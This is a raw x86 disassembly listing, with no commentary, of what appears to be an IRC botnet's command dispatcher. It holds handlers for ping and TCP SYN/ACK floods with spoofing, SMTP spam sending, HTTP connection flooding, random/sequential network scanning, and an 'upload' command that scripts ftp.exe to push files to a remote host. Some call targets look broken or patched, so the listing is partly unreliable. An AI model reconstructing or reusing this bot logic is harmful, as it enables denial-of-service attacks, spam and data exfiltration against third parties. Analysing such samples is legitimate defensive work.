call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40714F
push [ebp+arg_8]
push offset aNetsend ; "netsend"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407041
push [ebp+arg_8]
push offset aNs ; "ns"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407041
push [ebp+arg_8]
push offset aPingflood ; "pingflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406F17
push [ebp+arg_8]
push offset aPing_0 ; "ping"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406F17
push [ebp+arg_8]
push offset aP ; "p"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406F17
push [ebp+arg_8]
push offset aTcpflood ; "tcpflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406D6E
push [ebp+arg_8]
push offset aTcp ; "tcp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406D6E
push [ebp+arg_8]
push offset aEmail ; "email"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_406D16
push [ebp+arg_10]
lea eax, [ebp+var_47EC]
push eax
call sub_41BEB0
push edi
call sub_41B779
push [ebp+arg_0]
mov [ebp+arg_10], eax
lea eax, [ebp+var_4188]
push eax
call sub_41BEB0
push [ebp+arg_18]
lea eax, [ebp+var_4588]
push eax
call sub_41BEB0
push offset asc_42CA34 ; " "
push offset dword_42B500
push [ebp+esi+var_7C]
call sub_417EEE
push eax
lea eax, [ebp+var_4288]
push eax
call sub_41BEB0
add esp, 30h
lea eax, [ebp+var_5588]
push eax
push 101h
call dword_4CAEE4
lea eax, [ebp+var_47EC]
push eax
call dword_4CAFF8
push 6
push 1
push 2
mov edi, eax
call dword_4CAFF4
push [ebp+arg_10]
mov esi, eax
mov [ebp+var_31C], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_318], eax
call dword_4CAF74
mov [ebp+var_31A], ax
lea eax, [ebp+var_4288]
push eax
lea eax, [ebp+var_4188]
push eax
lea eax, [ebp+var_4288]
push eax
lea eax, [ebp+var_4588]
push eax
lea eax, [ebp+var_4188]
push eax
lea eax, [ebp+var_5988]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_41B886
add esp, 1Ch
lea eax, [ebp+var_31C]
push 10h
push eax
push esi
call dword_4CAF1C
mov edi, 100h
push ebx
lea eax, [ebp+var_4088]
push edi
push eax
push esi
call dword_4CAF8C
lea eax, [ebp+var_4088]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_5988]
push eax
push esi
call dword_4CAFC4
push ebx
lea eax, [ebp+var_4088]
push edi
push eax
push esi
call dword_4CAF8C
push esi
call dword_4CB00C
call dword_4CAECC
lea eax, [ebp+var_4588]
push eax
push offset unk_42A9CC
loc_406CCF: ; CODE XREF: sub_401ACD+2E82j
; sub_401ACD+4666j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
loc_406CDB: ; CODE XREF: sub_401ACD+248Bj
add esp, 0Ch
loc_406CDE: ; CODE XREF: sub_401ACD+4584j
; sub_401ACD+6653j ...
cmp [ebp+var_8], ebx
jnz short loc_406CFF
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_406CFF: ; CODE XREF: sub_401ACD+29B2j
; sub_401ACD+2A05j ...
mov esi, [ebp+arg_24]
loc_406D02: ; CODE XREF: sub_401ACD+68F2j
; sub_401ACD+78E2j ...
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
pop ecx
mov eax, esi
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_406D16: ; CODE XREF: sub_401ACD+50ACj
push [ebp+arg_8]
push offset aHttpcon ; "httpcon"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_406D40
push [ebp+arg_8]
push offset aHcon ; "hcon"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4072E8
loc_406D40: ; CODE XREF: sub_401ACD+525Aj
push [ebp+esi+var_7C]
push [ebp+arg_18]
push [ebp+arg_0]
push edi
call sub_41B779
pop ecx
push eax
push [ebp+arg_10]
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4100DB
jmp loc_4040AA
; ---------------------------------------------------------------------------
loc_406D6E: ; CODE XREF: sub_401ACD+507Ej
; sub_401ACD+5095j
push [ebp+arg_10]
mov esi, 80h
lea eax, [ebp+var_1354]
push esi
push eax
call sub_41B980
lea eax, [ebp+var_1354]
push eax
push offset aSyn ; "syn"
call sub_41C070
add esp, 14h
test eax, eax
jz short loc_406DD3
lea eax, [ebp+var_1354]
push eax
push offset aAck ; "ack"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_406DD3
lea eax, [ebp+var_1354]
push eax
push offset aRandom_0 ; "random"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_406DD3
push offset unk_42A984
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_406DD3: ; CODE XREF: sub_401ACD+52CCj
; sub_401ACD+52E3j ...
push [ebp+arg_18]
call sub_41B779
cmp eax, ebx
pop ecx
mov [ebp+var_124C], eax
jle loc_406EFF
push [ebp+arg_10]
lea eax, [ebp+var_1354]
push esi
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_13D4]
push edi
push esi
push eax
call sub_41B980
push [ebp+arg_0]
call sub_41B779
mov [ebp+var_1250], eax
add esp, 10h
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_1248], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13D8], eax
lea eax, [ebp+var_12D4]
push esi
push eax
call sub_41B980
mov eax, [ebp+var_4]
add esp, 0Ch
cmp [ebp+var_1248], ebx
mov [ebp+var_1244], eax
mov eax, [ebp+var_8]
mov [ebp+var_1240], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_406E70
mov eax, offset aNormal ; "Normal"
loc_406E70: ; CODE XREF: sub_401ACD+539Cj
push [ebp+arg_18]
push [ebp+arg_0]
push edi
push [ebp+arg_10]
push eax
push offset unk_42A940
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 14h
push eax
call sub_40B0F6
add esp, 2Ch
mov [ebp+var_1254], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_13D8]
push ebx
push eax
push offset byte_413E35
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_1254]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_406EEE
loc_406ED8: ; CODE XREF: sub_401ACD+541Fj
cmp [ebp+var_123C], ebx
jnz loc_40828B
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_406ED8
; ---------------------------------------------------------------------------
loc_406EEE: ; CODE XREF: sub_401ACD+5409j
call near ptr 2670897h
nop
push eax
push offset unk_42A908
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_406EFF: ; CODE XREF: sub_401ACD+5317j
push offset unk_42A8D0
loc_406F04: ; CODE XREF: sub_401ACD+2018j
; sub_401ACD+202Ej ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_40828B
; ---------------------------------------------------------------------------
loc_406F17: ; CODE XREF: sub_401ACD+5039j
; sub_401ACD+5050j ...
cmp dword_4CB064, ebx
jnz loc_407026
mov eax, [ebp+var_8]
push 7Fh
push [ebp+arg_10]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_4]
mov [ebp+var_FF8], eax
lea eax, [ebp+var_108C]
push eax
call sub_41B5F0
push edi
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_100C], eax
call sub_41B779
push [ebp+arg_18]
mov [ebp+var_1008], eax
call sub_41B779
push 7Fh
mov [ebp+var_1004], eax
push [ebp+var_88]
lea eax, [ebp+var_110C]
push eax
call sub_41B5F0
mov eax, [ebp+arg_4]
add esp, 24h
mov [ebp+var_1110], eax
lea eax, [ebp+var_108C]
push [ebp+var_1004]
push [ebp+var_1008]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_100C]
push offset unk_42A888
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 16h
push eax
call sub_40B0F6
add esp, 24h
mov [ebp+var_FFC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1110]
push ebx
push eax
push offset dword_413284
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_FFC]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_407015
loc_406FFF: ; CODE XREF: sub_401ACD+5546j
cmp [ebp+var_FF0], ebx
jnz loc_40828B
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_406FFF
; ---------------------------------------------------------------------------
loc_407015: ; CODE XREF: sub_401ACD+5530j
nop
call near ptr 2670897h
push eax
push offset unk_42A850
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_407026: ; CODE XREF: sub_401ACD+5450j
push 1FFh
lea eax, [ebp+var_2C4]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_41B5F0
jmp loc_408288
; ---------------------------------------------------------------------------
loc_407041: ; CODE XREF: sub_401ACD+500Bj
; sub_401ACD+5022j
push edi
lea eax, [ebp+var_2C4]
push [ebp+arg_10]
push [ebp+arg_0]
push offset unk_42A7FC
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
push [ebp+arg_0]
call sub_41AFE0
mov edx, eax
push edi
mov edi, edx
call sub_41AFE0
push [ebp+arg_10]
add edi, eax
call sub_41AFE0
push [ebp+arg_8]
add edi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+edi+7]
push eax
call sub_41B900
add esp, 40h
mov [ebp+arg_C], eax
push [ebp+arg_0]
call sub_41B779
mov edi, [ebp+arg_1C]
cmp eax, ebx
pop ecx
mov [ebp+arg_14], eax
mov [ebp+arg_20], ebx
jle short loc_40713B
loc_4070C4: ; CODE XREF: sub_401ACD+561Bj
push [ebp+arg_C]
push edi
push [ebp+arg_10]
call sub_4185A4
add esp, 0Ch
cmp eax, 1
mov [ebp+arg_1C], eax
jz short loc_4070EC
cmp eax, ebx
jnz short loc_40710B
inc [ebp+arg_20]
mov eax, [ebp+arg_20]
cmp eax, [ebp+arg_14]
jl short loc_4070C4
jmp short loc_407144
; ---------------------------------------------------------------------------
loc_4070EC: ; CODE XREF: sub_401ACD+560Cj
push ebx
push [ebp+var_4]
push offset unk_42A7C4
loc_4070F5: ; CODE XREF: sub_401ACD+5680j
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
jmp loc_4072E8
; ---------------------------------------------------------------------------
loc_40710B: ; CODE XREF: sub_401ACD+5610j
push [ebp+arg_1C]
lea eax, [ebp+var_2C4]
push offset unk_42A790
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 20h
loc_40713B: ; CODE XREF: sub_401ACD+55F5j
cmp [ebp+arg_1C], ebx
jnz loc_4072E8
loc_407144: ; CODE XREF: sub_401ACD+561Dj
push ebx
push [ebp+var_4]
push offset unk_42A75C
jmp short loc_4070F5
; ---------------------------------------------------------------------------
loc_40714F: ; CODE XREF: sub_401ACD+4FC6j
; sub_401ACD+4FDDj ...
mov eax, [ebp+var_8]
push 7Fh
push [ebp+arg_10]
mov [ebp+var_C64], eax
mov eax, [ebp+var_4]
mov [ebp+var_C68], eax
lea eax, [ebp+var_CFC]
push eax
call sub_41B5F0
push edi
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_C7C], eax
call sub_41B779
push [ebp+arg_18]
mov [ebp+var_C78], eax
call sub_41B779
mov esi, [ebp+esi+var_7C]
add esp, 18h
cmp esi, ebx
mov [ebp+var_C74], eax
jz short loc_4071B4
push esi
call sub_41B779
pop ecx
mov [ebp+var_C70], eax
jmp short loc_4071BA
; ---------------------------------------------------------------------------
loc_4071B4: ; CODE XREF: sub_401ACD+56D6j
mov [ebp+var_C70], ebx
loc_4071BA: ; CODE XREF: sub_401ACD+56E5j
push 7Fh
lea eax, [ebp+var_D7C]
push [ebp+var_88]
push eax
call sub_41B5F0
add esp, 0Ch
mov esi, [ebp+arg_4]
lea eax, [ebp+var_CFC]
mov [ebp+var_D80], esi
push [ebp+var_C74]
push [ebp+var_C78]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_C7C]
push offset unk_42A714
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 17h
push eax
call sub_40B0F6
add esp, 24h
mov [ebp+var_C6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_D80]
push ebx
push eax
push offset dword_413410
push ebx
push ebx
call near ptr 2670000h
nop
mov ecx, [ebp+var_C6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40725D
loc_40724B: ; CODE XREF: sub_401ACD+578Ej
cmp [ebp+var_C60], ebx
jnz short loc_407278
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_40724B
; ---------------------------------------------------------------------------
loc_40725D: ; CODE XREF: sub_401ACD+577Cj
nop
call near ptr 2670897h
push eax
push offset unk_42A6DC
loc_407269: ; CODE XREF: sub_401ACD+4E31j
; sub_401ACD+62BEj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_407278: ; CODE XREF: sub_401ACD+4E15j
; sub_401ACD+5784j ...
cmp [ebp+var_8], ebx
jnz loc_4083BC
push ebx
push [ebp+var_4]
loc_407285: ; CODE XREF: sub_401ACD+22DEj
lea eax, [ebp+var_2C4]
push eax
push [ebp+var_88]
push esi
jmp loc_4082A8
; ---------------------------------------------------------------------------
loc_407298: ; CODE XREF: sub_401ACD+4F98j
; sub_401ACD+4FAFj
push 0Bh
call sub_40B33E
push edi
mov [ebp+arg_1C], eax
call sub_41B779
add eax, [ebp+arg_1C]
pop ecx
pop ecx
cmp eax, 1F4h
jle loc_407454
push [ebp+arg_1C]
lea eax, [ebp+var_2C4]
push offset unk_42A69C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 20h
loc_4072E8: ; CODE XREF: sub_401ACD+526Dj
; sub_401ACD+5639j ...
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz loc_401E94
push [ebp+arg_8]
push offset aUpload ; "upload"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_409854
push 4
push esi
call sub_416908
pop ecx
test eax, eax
pop ecx
jnz short loc_407324
push esi
push offset unk_42A674
jmp loc_408CDB
; ---------------------------------------------------------------------------
loc_407324: ; CODE XREF: sub_401ACD+584Aj
nop
call near ptr 2680865h
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_41B8E2
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_51F8]
push edx
push eax
lea eax, [ebp+var_2E58]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_41B886
lea eax, [ebp+var_2E58]
push offset aAb ; "ab"
push eax
call sub_41B4C2
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_401E94
push esi
push [ebp+arg_18]
push [ebp+arg_0]
push edi
push [ebp+arg_10]
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_41BE06
push [ebp+arg_24]
call sub_41B05B
add esp, 20h
lea eax, [ebp+var_2E58]
push eax
lea eax, [ebp+var_4CF0]
push offset aSS_2 ; "-s:%s"
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_4CF0]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_4CAEE0
push [ebp+arg_10]
test eax, eax
push esi
jz short loc_4073F3
push offset unk_42A604
jmp short loc_4073F8
; ---------------------------------------------------------------------------
loc_4073F3: ; CODE XREF: sub_401ACD+591Dj
push offset unk_42A5D4
loc_4073F8: ; CODE XREF: sub_401ACD+5924j
call sub_41B886
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_407421
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_407421: ; CODE XREF: sub_401ACD+5936j
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
loc_40742D: ; CODE XREF: sub_401ACD+5985j
lea eax, [ebp+var_2E58]
push 4
push eax
call sub_416908
add esp, 0Ch
test eax, eax
jz loc_401E94
lea eax, [ebp+var_2E58]
push eax
call sub_41BDDC
jmp short loc_40742D
; ---------------------------------------------------------------------------
loc_407454: ; CODE XREF: sub_401ACD+57E5j
push [ebp+arg_10]
call sub_41B779
push edi
mov [ebp+var_370], eax
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_358], eax
call sub_41B779
add esp, 0Ch
cmp eax, 1
mov [ebp+var_36C], eax
jnb short loc_40748D
push 1
pop eax
mov [ebp+var_36C], eax
loc_40748D: ; CODE XREF: sub_401ACD+59B5j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_40749A
mov [ebp+var_36C], ecx
loc_40749A: ; CODE XREF: sub_401ACD+59C5j
push [ebp+arg_18]
call sub_41B779
mov [ebp+var_368], eax
mov eax, 320h
cmp [ebp+var_368], eax
pop ecx
jbe short loc_4074BC
mov [ebp+var_368], eax
loc_4074BC: ; CODE XREF: sub_401ACD+59E7j
or [ebp+var_354], 0FFFFFFFFh
cmp dword_431410, ebx
mov [ebp+arg_20], ebx
jz short loc_40750B
mov edi, offset dword_431410
loc_4074D3: ; CODE XREF: sub_401ACD+5A20j
push [ebp+arg_10]
lea eax, [edi-28h]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4074F1
inc [ebp+arg_20]
add edi, 40h
cmp [edi], ebx
jnz short loc_4074D3
jmp short loc_40750B
; ---------------------------------------------------------------------------
loc_4074F1: ; CODE XREF: sub_401ACD+5A16j
mov eax, [ebp+arg_20]
mov ecx, eax
mov [ebp+var_354], eax
shl ecx, 6
mov ecx, dword_431410[ecx]
mov [ebp+var_370], ecx
loc_40750B: ; CODE XREF: sub_401ACD+59FFj
; sub_401ACD+5A22j
cmp [ebp+var_370], ebx
jnz short loc_40751D
push offset unk_42A5A0
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_40751D: ; CODE XREF: sub_401ACD+5A44j
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
mov [ebp+arg_0], edi
jz short loc_407558
cmp byte ptr [edi], 23h
jz short loc_407558
push edi
lea eax, [ebp+var_484]
push 10h
push eax
call sub_41B980
push 78h
push edi
call sub_41BFB0
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_344], eax
jmp loc_407632
; ---------------------------------------------------------------------------
loc_407558: ; CODE XREF: sub_401ACD+5A59j
; sub_401ACD+5A5Ej
cmp [ebp+var_8FF], bl
jnz short loc_40757A
cmp [ebp+var_8FE], bl
jnz short loc_40757A
cmp [ebp+var_8EE], bl
jnz short loc_40757A
push offset unk_42A56C
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_40757A: ; CODE XREF: sub_401ACD+5A91j
; sub_401ACD+5A99j ...
push 10h
lea eax, [ebp+var_2D0]
pop edi
push eax
lea eax, [ebp+var_2F8]
push eax
mov [ebp+var_2D0], edi
push [ebp+arg_4]
call dword_4CAF18
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2F4], eax
push [ebp+var_2F4]
call dword_4CB000
push eax
lea eax, [ebp+var_484]
push eax
call sub_41B5F0
add esp, 0Ch
cmp [ebp+var_8EE], bl
jz short loc_40762C
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_484]
push eax
call sub_41BE40
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_407620
loc_4075FE: ; CODE XREF: sub_401ACD+5B51j
cmp eax, ebx
jz short loc_407620
mov byte ptr [eax], 78h
lea eax, [ebp+var_484]
push 30h
push eax
call sub_41BE40
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_4075FE
loc_407620: ; CODE XREF: sub_401ACD+5B2Fj
; sub_401ACD+5B33j
mov [ebp+var_344], 1
jmp short loc_407632
; ---------------------------------------------------------------------------
loc_40762C: ; CODE XREF: sub_401ACD+5B09j
mov [ebp+var_344], ebx
loc_407632: ; CODE XREF: sub_401ACD+5A86j
; sub_401ACD+5B5Dj
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_374], eax
mov eax, [ebp+var_4]
mov [ebp+var_34C], eax
mov eax, [ebp+var_8]
mov [ebp+var_348], eax
mov edi, 80h
lea eax, [ebp+var_474]
push edi
push eax
call sub_41B980
mov esi, [ebp+esi+var_78]
add esp, 0Ch
cmp esi, ebx
jz short loc_407683
loc_407670: ; CODE XREF: sub_401ACD+5BD9j
push esi
loc_407671: ; CODE XREF: sub_401ACD+5BC3j
lea eax, [ebp+var_3F4]
push edi
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_4076AE
; ---------------------------------------------------------------------------
loc_407683: ; CODE XREF: sub_401ACD+5BA1j
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_407692
cmp byte ptr [eax], 23h
jnz short loc_407692
push eax
jmp short loc_407671
; ---------------------------------------------------------------------------
loc_407692: ; CODE XREF: sub_401ACD+5BBBj
; sub_401ACD+5BC0j
mov esi, offset aF ; "#f"
push offset dword_43D128
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_407670
mov [ebp+var_3F4], bl
loc_4076AE: ; CODE XREF: sub_401ACD+5BB4j
cmp [ebp+var_344], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4076C0
mov eax, offset aSequential ; "Sequential"
loc_4076C0: ; CODE XREF: sub_401ACD+5BECj
push [ebp+var_358]
lea ecx, [ebp+var_484]
push [ebp+var_368]
push [ebp+var_36C]
push [ebp+var_370]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A504
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B0F6
add esp, 2Ch
mov [ebp+var_364], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_484]
push ebx
push eax
push offset loc_40C33C
push ebx
push ebx
call near ptr 2670000h
nop
mov ecx, [ebp+var_364]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40774E
loc_407738: ; CODE XREF: sub_401ACD+5C7Fj
cmp [ebp+var_340], ebx
jnz loc_40828B
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_407738
; ---------------------------------------------------------------------------
loc_40774E: ; CODE XREF: sub_401ACD+5C69j
call near ptr 2670897h
nop
push eax
push offset unk_42A4CC
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_40775F: ; CODE XREF: sub_401ACD+4F6Aj
; sub_401ACD+4F81j
push [ebp+arg_10]
call sub_40AAF9
push edi
mov [ebp+var_4E0], eax
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_4F0], eax
call sub_41B779
push [ebp+arg_18]
mov [ebp+var_4EC], eax
call sub_41B779
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_4E8], eax
lea eax, [ebp+var_570]
mov [ebp+var_574], esi
push eax
call sub_41B5F0
add esp, 1Ch
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_4D8], edi
push [ebp+var_4EC]
mov [ebp+var_4D4], eax
push [ebp+var_4F0]
push [ebp+var_4E8]
push [ebp+var_4E0]
call dword_4CB000
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A47C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B0F6
add esp, 24h
mov [ebp+var_4E4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_574]
push ebx
push eax
push offset byte_40C759
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_4E4]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_407854
loc_40783E: ; CODE XREF: sub_401ACD+5D85j
cmp [ebp+var_4D0], ebx
jnz loc_403DA0
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_40783E
; ---------------------------------------------------------------------------
loc_407854: ; CODE XREF: sub_401ACD+5D6Fj
nop
call near ptr 2670897h
push eax
push offset unk_42A440
jmp loc_403D91
; ---------------------------------------------------------------------------
loc_407865: ; CODE XREF: sub_401ACD+4F2Dj
; sub_401ACD+4F44j
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
cmp byte_43DEC8[eax], bl
jz loc_409854
cmp [ebp+var_C], ebx
jz loc_409854
push edi
call sub_41AFE0
push [ebp+arg_10]
mov esi, eax
call sub_41AFE0
push [ebp+arg_8]
add esi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41B900
add esp, 14h
mov esi, eax
lea eax, [ebp+var_2C4]
push esi
push offset dword_42A434
push eax
call sub_41B886
add esp, 0Ch
cmp esi, ebx
jz loc_409854
push [ebp+arg_10]
call sub_41B779
test eax, eax
pop ecx
jle loc_409854
push [ebp+arg_10]
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push edi
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEBC[eax]
call sub_409A72
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43DCB0[eax], 73h
jnz loc_409854
push esi
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
add eax, offset byte_43DEC8
push eax
push edi
push offset aSSS_2 ; "[%s] * %s %s"
jmp loc_407A35
; ---------------------------------------------------------------------------
loc_40795D: ; CODE XREF: sub_401ACD+4EFFj
; sub_401ACD+4F16j
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
cmp byte_43DEC8[eax], bl
jz loc_409854
cmp [ebp+var_C], ebx
jz loc_409854
push edi
call sub_41AFE0
push [ebp+arg_10]
mov esi, eax
call sub_41AFE0
push [ebp+arg_8]
add esi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41B900
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_409854
push [ebp+arg_10]
call sub_41B779
test eax, eax
pop ecx
jle loc_409854
push [ebp+arg_10]
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
push ebx
push ebx
push esi
push edi
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEBC[eax]
call sub_409A72
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43DCB0[eax], 73h
jnz loc_409854
push esi
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
add eax, offset byte_43DEC8
push eax
push edi
push offset aSSS_1 ; "[%s] <%s> %s"
loc_407A35: ; CODE XREF: sub_401ACD+5E8Bj
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 28h
jmp loc_409854
; ---------------------------------------------------------------------------
loc_407A62: ; CODE XREF: sub_401ACD+4ED1j
; sub_401ACD+4EE8j
push [ebp+arg_10]
call dword_4CAFB4
push edi
mov [ebp+var_680], eax
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_690], eax
call sub_41B779
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_688], eax
lea eax, [ebp+var_710]
mov [ebp+var_714], esi
push eax
call sub_41B5F0
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_678], edi
push [ebp+var_688]
mov [ebp+var_674], eax
push [ebp+var_690]
push [ebp+var_680]
call dword_4CB000
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A3D8
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_684], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_714]
push ebx
push eax
push offset dword_40C668
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_684]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_407B44
loc_407B2E: ; CODE XREF: sub_401ACD+6075j
cmp [ebp+var_670], ebx
jnz loc_403DA0
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_407B2E
; ---------------------------------------------------------------------------
loc_407B44: ; CODE XREF: sub_401ACD+605Fj
nop
call near ptr 2670897h
push eax
push offset unk_42A4CC
jmp loc_403D91
